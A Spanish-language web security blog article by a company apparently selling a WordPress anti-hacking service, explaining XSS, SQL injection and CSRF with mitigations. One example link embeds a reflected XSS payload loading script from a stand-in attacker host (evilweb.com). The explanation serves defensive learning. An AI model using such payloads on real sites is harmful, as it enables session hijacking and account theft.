Tener un sitio web no es cosa de juegos, por lo que es necesario seguir ciertas normas para que todo funcione bien. Es importante respaldar bien los datos, información en general, contraseñas entre otros. Así como protegernos de cualquier ataque cibernético que pueda llegar a nuestra web, es una responsabilidad que hay que cumplir. La seguridad de sitios web debe estar por encima de todo para mantener la confidencialidad a salvo.
La seguridad web demanda vigilancia en todos los aspectos del diseño y uso de un sitio web. Este artículo, te ayudará a entender de donde provienen las amenazas y que puedes hacer para robustecer tu aplicación web contra los ataques más frecuentes.
¿Qué es la seguridad de sitios web?
Es la que se encarga de prevenir ataques al sitio web. Formalmente, se trata de acción/practica de proteger sitios web del acceso, modificación, destrucción o interrupción, forzados no autorizados.
Cabe destacar que Internet es peligroso. Por lo que la seguridad de sitios web debe ser eficaz, requiere esfuerzos de diseño a lo largo de la totalidad del sitio web: en tu aplicación web, en tus políticas para crear y renovar contraseñas, en la configuración del servidor web, y en el código del lado del cliente.
La realidad es que todo esto suena inquietante, sin embargo, hay una buena noticia, si estas usando un framework web de lado del servidor, es casi seguro que por defecto habilitará mecanismos de defensa robustos y bien pensados contra gran cantidad de los ataques más comunes. Asimismo, otros ataques pueden debilitarse mediante la configuración de tu servidor web, un ejemplo de ello es habilitar HTTPS.
De igual modo, existen herramientas de escaneado de vulnerabilidades disponibles públicamente que pueden darte una mano en la investigación si has cometido algún error obvio.
Todo sitio web puede ser amenazado en cualquier momento, el detalle es estar preparado para superar los ataques y tener las herramientas correctas para desarraigar la amenaza. En este sentido, a continuación te indicaremos cuáles son esas amenazas que constantemente pueden asechar tu sitio web.
Amenazas contra la seguridad de sitios web
En este segmento te listaremos algunas de las amenazas más comunes para los sitios web y cómo son mitigadas. A medida que vayas leyendo podrás darte cuenta cómo las amenazas tienen éxito cuando la aplicación web no es lo suficientemente robusta acerca de los datos que vienen del explorador web.
Cross-Site Scripting (XSS)
Este término se utiliza para describir un tipo de ataques donde el atacante inyecta scripts de lado cliente, a través del sitio web, hasta los exploradores de otros usuarios. El código inyectado va del lado del servidor al explorador, lo que supone confianza, permitiéndole hacer cosas como enviar al atacante la cookie de autorización al sitio del usuario.
Cuando el atacante tiene la cookie puede iniciar sesión en el sitio como si él fuera el verdadero usuario y puede hacer cualquier cosa. Depende de que sitio se trate, esto podría incluir acceso a los detalles de su tarjeta de crédito, visualizar detalles de contacto e incluso cambiar contraseñas entre otros.
Las vulnerabilidades XSS han sido a través de la historia las más comunes que las de cualquier otro tipo.
Existen dos aproximaciones principales para conseguir que el sitio devuelva scripts inyectados al explorador, estas son las vulnerabilidades XSS reflejadas y persistentes.
- La vulnerabilidad XSS reflejada se presenta cuando el contenido del usuario que se pasa al servidor se devuelve inmediatamente y sin modificar para que los muestre el explorador. ¡OJO, cualquier script en el contenido original del usuario se ejecutará inmediatamente cuando se cargue una nueva página!
Ejemplo de ello es lo siguiente: considera una función de búsqueda en un sitio donde los términos de búsqueda están codificados como parámetros URL y estos términos se presentan junto con los resultados. Un atacante fácilmente puede construir un enlace de búsqueda que contenga un script malicioso como parámetro. (ej. http://myweb.com?q=beer<script%20src=»http://evilweb.com/tricky.js»></script>) y enviarlo en un correo electrónico a otro usuario: si el usuario pincha en este enlace que parece interesante, el script se ejecutará cuando se muestren los datos en pantalla los resultados de la búsqueda. Esto proporciona al atacante toda la información que necesita para entrar al sitio como si fuera el usuario destinatario, realizando compras o compartiendo información de contactos como si fuera el usuario.
- La vulnerabilidad XSS persistente se trata de un script malicioso que se almacena en el sitio web y luego más tarde se vuelve a presentar en pantalla sin modificar para que otros usuarios lo ejecuten involuntariamente. Por ejemplo, un foro de discusión que acepta comentarios que contengan HTML sin modificar, podría almacenar un script malicioso de un atacante. Una vez que se muestren los comentarios se ejecutará el script y enviará al atacante la información requerida para acceder a la cuenta del usuario. Esta clase de ataque es popular en extremo y muy potente, debido a que el atacante no tiene ninguna relación directa con las víctimas.
Inyección SQL
Estas vulnerabilidades permiten que usuarios maliciosos ejecuten códigos SQL de forma arbitraria en una base de datos, teniendo acceso a los datos, con la posibilidad de modificar o borrar, independientemente de los permisos del usuario.
Un ataque de inyección exitoso, puede falsificar identidades, crear nuevas identidades con derechos de administración, acceder a todos los datos en el servidor o destruir/modificar los datos para hacerlos inutilizables.
Una forma de evitar esta clase de ataques es asegurar que cualquier dato de usuario que se pasa a un query SQL no puede cambiar la naturaleza del mismo. Una manera de hacer esto es eludir (escape) todos los caracteres de la entrada de usuario que tengan un significado especial en SQL.
Vale la pena resaltar que, los frameworks web con frecuencia tienen cuidado de hacer por ti la elusión de caracteres.
Cross Site Request Forgery (CSRF)
Estos ataques permiten que un usuario malicioso ejecute acciones usando las credenciales de otro usuario sin el consentimiento de éste.
Este tipo de ataque se explica mejor con un ejemplo. Juan es un usuario malicioso que sabe que un sitio en particular permite a los usuarios que han iniciado sesión enviar dinero a una cuenta especifica usando una petición HTTP POST que incluye el nombre de la cuenta y una cantidad de dinero.
Juan crea un formulario que incluye los detalles de su banco y una cantidad de dinero como campos ocultos, y lo envía por correo electrónico a otros usuarios del sitio (con el botón de Enviar camuflado como enlace a un sitio “hazte millonario rápidamente”).
El resultado es que cualquier usuario que pinche en el botón Enviar mientras tiene la sesión iniciada en el sitio comercial hará la transacción. ¡Juan se hará rico!
El truco aquí es que Juan no necesita tener acceso a los cookies del usuario (o acceso a sus credenciales). El explorador del usuario almacena esta información, y la incluye automáticamente en todas las peticiones al servidor asociado.
Una forma de prevenir este tipo de ataque por parte del servidor es requerir que la petición POST incluya una palabra secreta especifica del usuario generada por el sitio (la palabra secreta podría proporcionarla el servidor cuando envía el formulario web que se utiliza para hacer transferencias).
Gracias a esta aproximación no permite que Juan pueda crear su propio formulario, porque necesitaría conocer la palabra secreta que el servidor ha proporcionado para el usuario. Incluso si conociera esta palabra y creara un formulario para un usuario en particular, no podría usar el mismo formulario para atacar a todos los usuarios.
Estos son las amenazas más comunes que pueden atacar tu sitio web, lo ideal es que mantengas tu web segura para que no esté en riesgo cuando aparezcan estas vulnerabilidades.
En XenonFactory queremos ayudarte y aportar soluciones viables que te permitan robustecer tu sitio web, por lo que te ofrecemos nuestro servicio de Seguridad Anti-hackeo WordPress, con el que tendrás un escudo para evitar los ataques maliciosos que se puedan presentar en tu web.
Deja una respuesta